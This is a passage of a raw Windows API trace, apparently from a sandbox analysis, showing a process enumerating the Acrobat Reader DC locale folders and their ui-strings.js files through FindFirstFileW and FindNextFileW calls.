ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0273.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0273.596] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0273.599] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.599] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0273.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0273.600] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.600] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.600] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.600] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0273.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.600] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0273.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.601] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0273.602] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.602] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.602] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.602] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0273.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.602] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0273.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.602] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0273.603] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.603] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.603] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa3e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.603] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0273.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.603] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0273.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0273.604] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.604] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.604] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.604] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0273.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.604] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0273.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.605] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0273.605] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.605] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.605] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.605] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0273.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.605] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0273.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.605] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0273.606] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.606] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.606] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.607] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0273.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.607] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0273.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.607] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0273.607] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.607] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.607] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.607] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0273.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.608] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0273.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.608] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0273.609] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.609] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, 